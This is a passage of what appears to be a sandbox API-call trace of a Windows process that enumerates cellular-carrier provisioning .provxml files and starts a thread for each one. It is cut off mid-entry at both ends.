Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0180.992] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="50__CO~1.PRO")) returned 1 [0180.992] wcscmp (_String1="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.992] wcscmp (_String1="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x174) returned 0x2f8d528 [0180.992] wcscpy (in: _Dest=0x2f8d528, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.992] wcscat (in: _Dest=0x2f8d528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.992] wcscat (in: _Dest=0x2f8d528, _Source="50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\50__Connections_Cellular_BH Telekom Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" [0180.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0180.993] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", cAlternateFileName="510__C~1.PRO")) returned 1 [0180.993] wcscmp (_String1="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", _String2=".") returned 1 [0180.993] wcscmp (_String1="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", _String2="..") returned 1 [0180.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f01cb0 [0180.993] wcscpy (in: _Dest=0x4f01cb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.993] wcscat (in: _Dest=0x4f01cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.993] wcscat (in: _Dest=0x4f01cb0, _Source="510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" [0180.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0180.994] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", cAlternateFileName="511__C~1.PRO")) returned 1 [0180.994] wcscmp (_String1="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", _String2=".") returned 1 [0180.994] wcscmp (_String1="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml", _String2="..") returned 1 [0180.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f8d6a8 [0180.994] wcscpy (in: _Dest=0x2f8d6a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.994] wcscat (in: _Dest=0x2f8d6a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.994] wcscat (in: _Dest=0x2f8d6a8, _Source="511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" [0180.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d6a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0180.995] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9126046c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9126046c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9126046c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="512__C~1.PRO")) returned 1 [0180.995] wcscmp (_String1="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.995] wcscmp (_String1="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.995] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02980 [0180.995] wcscpy (in: _Dest=0x4f02980, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.995] wcscat (in: _Dest=0x4f02980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.995] wcscat (in: _Dest=0x4f02980, _Source="512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" [0180.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0180.996] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9126046c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9126046c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9126046c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="513__C~1.PRO")) returned 1 [0180.996] wcscmp (_String1="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.996] wcscmp (_String1="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02ac8 [0180.996] wcscpy (in: _Dest=0x4f02ac8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.996] wcscat (in: _Dest=0x4f02ac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.996] wcscat (in: _Dest=0x4f02ac8, _Source="513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" [0180.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02ac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0180.996] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9126046c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9126046c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9126046c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="514__C~1.PRO")) returned 1 [0181.532] wcscmp (_String1="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.532] wcscmp (_String1="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.532] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2fe2710 [0181.532] wcscpy (in: _Dest=0x2fe2710, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.532] wcscat (in: _Dest=0x2fe2710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.532] wcscat (in: _Dest=0x2fe2710, _Source="514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\514__Connections_Cellular_Telefonica (Uruguay)_i0$(__MVID)@WAP.provxml" [0181.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0181.533] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9126046c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9126046c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9126046c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="515__C~1.PRO")) returned 1 [0181.533] wcscmp (_String1="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0181.533] wcscmp (_String1="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0181.533] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054968 [0181.533] wcscpy (in: _Dest=0x3054968, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.533] wcscat (in: _Dest=0x3054968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.533] wcscat (in: _Dest=0x3054968, _Source="515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0181.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0181.534] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912866d8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912866d8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912866d8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="516__C~1.PRO")) returned 1 [0181.534] wcscmp (_String1="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.534] wcscmp (_String1="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.534] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa2158 [0181.534] wcscpy (in: _Dest=0x2fa2158, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.534] wcscat (in: _Dest=0x2fa2158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.534] wcscat (in: _Dest=0x2fa2158, _Source="516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" [0181.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0181.535] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912866d8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912866d8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912866d8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x0, dwReserved1=0x0, cFileName="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", cAlternateFileName="517__C~1.PRO")) returned 1 [0181.535] wcscmp (_String1="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.536] wcscmp (_String1="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.536] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2fe19a0 [0181.536] wcscpy (in: _Dest=0x2fe19a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.536] wcscat (in: _Dest=0x2fe19a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.536] wcscat (in: _Dest=0x2fe19a0, _Source="517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" [0181.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe19a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0181.536] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912866d8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912866d8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912866d8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", cAlternateFileName="518__C~1.PRO")) returned 1 [0181.536] wcscmp (_String1="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.536] wcscmp (_String1="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.536] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2fe1038 [0181.536] wcscpy (in: _Dest=0x2fe1038, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.537] wcscat (in: _Dest=0x2fe1038, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.537] wcscat (in: _Dest=0x2fe1038, _Source="518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\518__Connections_Cellular_Viettel (Vietnam)_i0$(__MVID)@WAP.provxml" [0181.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0181.537] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912866d8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912866d8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912866d8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", cAlternateFileName="519__C~1.PRO")) returned 1 [0181.537] wcscmp (_String1="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.537] wcscmp (_String1="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe2058 [0181.537] wcscpy (in: _Dest=0x2fe2058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.537] wcscat (in: _Dest=0x2fe2058, _Source="\\" | out: 